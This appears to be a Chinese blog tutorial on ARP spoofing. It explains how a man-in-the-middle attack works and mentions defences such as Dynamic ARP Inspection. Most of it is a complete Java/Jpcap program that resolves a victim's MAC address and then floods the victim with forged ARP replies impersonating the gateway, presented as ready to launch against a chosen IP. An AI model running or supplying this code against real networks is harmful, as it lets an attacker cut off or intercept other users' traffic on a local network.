Jpcap实现ARP攻击

1,249 阅读4分钟

1、什么是ARP攻击?

ARP攻击原理是由攻击者发送假的ARP数据包到网络上,尤其是送到网关上。其目的是要让送至特定的IP地址的流量被错误送到攻击者所取代的地方。因此攻击者可将这些流量另行转送到真正的网关(被动式数据包嗅探,passive sniffing)或是篡改后再转送(中间人攻击,man-in-the-middle attack)。攻击者亦可将ARP数据包导到不存在的MAC地址让被攻击者无法访问网络。

image
image

1、主机A向主机B正常发送数据,假设是一份邮件数据。

2、攻击者该如何获取邮件数据呢?首先发送一个伪造主机B的ARP包到主机A告诉主机A,主机B的MAC地址是攻击者自身的MAC地址,当主机A接受到这个ARP包时就会更新本地路由表,将主机BIP关联的MAC地址修改为攻击者的MAC地址。

3、和第二步一样通过相同的攻击手段让主机B更新自己的本地路由表,将主机A的IP地址对应的MAC地址修改为攻击者的MAC地址。

4、当主机A还像往常一样发送一封邮件到主机B时,首先会到本地路由表获取主机B对应的MAC地址,此时MAC已经被修改,所以主机A会将数据包发送给攻击者,攻击者篡改内容后将数据发送给主机B,同理当主机B给主机A发送数据的时候也会被攻击者拦截,这样攻击者就实现了对主机A、主机B数据的窃取。

2、如何防御?

从攻击的原理可以看出,实现ARP防御关键在于主机信任了伪造的ARP包并更新本地路由表。最简单有效的方式就是使用静态路由表。这样有一个弊端,当局域网内主机数量非常多时静态路由表的配置就会非常繁琐。其实目前ARP防御主要由网络设备(例如交换机、路由器)来实现。

举个例子:动态ARP检测 DAI(Dynamic ARP Inspection)

1、交换机会记录每个对外链接端口对应的IP地址以及MAC地址port:mac:ip,生成DAI检测表;
2、交换机在接收到ARP包时会检测你连接的端口绑定的IP和MAC地址,发现MAC地址与绑定与DAI不一致,就回丢弃并执行相应的惩罚机制。

3、使用Jpcap实现ARP攻击

注意:以mac book安装Jpcap为例

1、下载Jpcap 选择自己的平台 下载地址

2、解压、cd [Jpcap extracted directory]/src/main/c、执行make

3、当前目录会生成一个libjpcap.jnilib文件将libjpcap.jnilib复制到java.library.path目录下不知道目录在哪可以通过

System.out.println(System.getProperty("java.library.path"))

获取并将文件依次放进去尝试

4、将 lib 目录下的 jpcap.jar 复制到 java classPath ext 目录下类似 /Library/Java/JavaVirtualMachines/jdk1.8.0_65.jdk/Contents/Home/jre/lib/ext

5、IDEA 导入 jpcap.jar

image
image

代码示例,构建对ARP包不了解的同学可以先了解一下ARP包结构以及头部、ARP协议详解

package com.yoku.brandon;

import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
import jpcap.packet.Packet;

import java.io.IOException;
import java.net.InetAddress;
import java.util.Arrays;


/**
 * @author hodu
 */
public class ArpClient {



    private static NetworkInterface device = JpcapCaptor.getDeviceList()[0];

    /**
     * 本地IP接收ARP包
     */
    private static final String LOCAL_HOST_IP = "192.168.0.106";

    /**
     * 通过IP地址获取MAC地址。
     *
     * @param ip ip 地址
     * @return Mac地址
     */
    private static byte[] getMacByIP(String ip) throws IOException {
        //打开网络设备
        JpcapCaptor jpcapCaptor = JpcapCaptor.openDevice(device, 2000, false, 3000);
        //发送器JpcapSender,用来发送报文
        JpcapSender jpcapSender = jpcapCaptor.getJpcapSenderInstance();


        InetAddress senderIP = InetAddress.getByName(LOCAL_HOST_IP);
        //目标主机的IP地址
        InetAddress targetIP = InetAddress.getByName(ip);

        ARPPacket arp = new ARPPacket();
        //硬件类型 1 代表以太网
        arp.hardtype = ARPPacket.HARDTYPE_ETHER;
        //协议类型 ip协议
        arp.prototype = ARPPacket.PROTOTYPE_IP;
        //硬件地址长度
        arp.hlen = 6;
        //协议地址长度
        arp.plen = 4;
        //Opcode 操作类型 request
        arp.operation = ARPPacket.ARP_REQUEST;

        //ARP包的发送端以太网地址
        arp.sender_hardaddr = device.mac_address;
        //发送端IP地址
        arp.sender_protoaddr = senderIP.getAddress();

        byte[] broadcast = new byte[]{(byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255};
        //设置目的端的以太网地址为广播地址
        arp.target_hardaddr = broadcast;
        //目的端IP地址
        arp.target_protoaddr = targetIP.getAddress();

        //添加以太网首部
        EthernetPacket ether = new EthernetPacket();
        ether.dst_mac = broadcast;
        ether.src_mac = device.mac_address;
        //上层协议
        ether.frametype = EthernetPacket.ETHERTYPE_ARP;
        //将arp包设置以太网头部
        arp.datalink = ether;


        while (true) {
            jpcapSender.sendPacket(arp);
            Packet packet = jpcapCaptor.getPacket();
            if (packet instanceof ARPPacket) {
                ARPPacket arpPacket = (ARPPacket) packet;
                if (Arrays.equals(arpPacket.target_protoaddr, senderIP.getAddress())) {
                    System.out.println("success mac=" + Arrays.toString(arpPacket.sender_hardaddr));
                    return arpPacket.sender_hardaddr;
                }
            }
            try {
                Thread.sleep(200);
            } catch (InterruptedException ignore) {
            }
        }
    }


    private static byte[] stomac(String macAddr) {
        byte[] mac = new byte[]{(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00};
        String[] temp = macAddr.split("-");
        for (int x = 0; x < temp.length; x++) {
            mac[x] = (byte) ((Integer.parseInt(temp[x], 16)) & 0xff);
        }
        return mac;
    }


    private static void attack(String ip, int time) throws InterruptedException, IOException {
        JpcapCaptor jpcap = JpcapCaptor.openDevice(device, 65535, false, 3000);
        jpcap.setFilter("arp", true);
        JpcapSender sender = JpcapSender.openDevice(device);

        ARPPacket arp = new ARPPacket();
        //硬件类型
        arp.hardtype = ARPPacket.HARDTYPE_ETHER;
        //协议类型
        arp.prototype = ARPPacket.PROTOTYPE_IP;
        //指明是ARP应答包包
        arp.operation = ARPPacket.ARP_REPLY;
        arp.hlen = 6;
        arp.plen = 4;

        byte[] srcmac = stomac("00-00-00-FE-C1-23");
        arp.sender_hardaddr = srcmac;
        //设置网关
        arp.sender_protoaddr = InetAddress.getByName("192.168.0.1").getAddress();

        arp.target_hardaddr = getMacByIP(ip);
        arp.target_protoaddr = InetAddress.getByName(ip).getAddress();

        //设置数据链路层的帧
        EthernetPacket ether = new EthernetPacket();
        ether.frametype = EthernetPacket.ETHERTYPE_ARP;
        ether.src_mac = srcmac;
        ether.dst_mac = getMacByIP(ip);
        arp.datalink = ether;

        int i = 0;
        while (true) {
            sender.sendPacket(arp);
            System.out.println("Arp send success");
            Thread.sleep(time);
            i++;…
            if (i > 1000000000) {
                break;
            }
        }
    }

    public static void main(String[] args) throws InterruptedException, IOException {
        System.out.println(System.getProperty("java.library.path"));
        attack("192.168.0.107", 500);
    }
}

启动即可对指定Ip进行ARP攻击、一般的交换机和路由器都有防御ARP攻击的机制,效果不一定明显。使用wireshark抓包如下:

image
image